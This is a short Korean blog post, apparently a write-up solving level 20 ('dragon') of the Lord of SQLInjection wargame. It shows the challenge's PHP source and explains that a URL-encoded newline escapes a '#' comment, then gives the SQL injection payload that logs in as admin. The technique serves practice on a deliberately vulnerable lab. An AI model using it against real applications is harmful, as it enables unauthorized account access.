
[ LOS ] Lord of SQLInjection 20번 풀이(dragon)
sangjun
·2022. 1. 12. 02:19
반응형
문제소스
query : select id from prob_dragon where id='guest'# and pw=''
Hello guest
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
문제 분석 및 페이로드
1. # --> 한 줄 주석
2. 개행 해준다면 다음줄로 넘어가 #를 무시함
?pw=%0a and 1=2 or id='admin'%23
반응형
'War Games > Lord of sql injection (LOS)' 카테고리의 다른 글
[ LOS ] Lord of SQLInjection 22번 풀이(dark_eyes) (2) | 2022.01.12 |
---|---|
[ LOS ] Lord of SQLInjection 21번 풀이(iron_golem) (0) | 2022.01.12 |
[ LOS ] Lord of SQLInjection 20번 풀이(dragon) (0) | 2022.01.12 |
[ LOS ] Lord of SQLInjection 19번 풀이(xavis) (0) | 2022.01.12 |
[ LOS ] Lord of SQLInjection 18번 풀이(nightmare) (0) | 2022.01.12 |
[ LOS ] Lord of SQLInjection 17번 풀이(zombie_assassin) (0) | 2022.01.12 |
0개의 댓글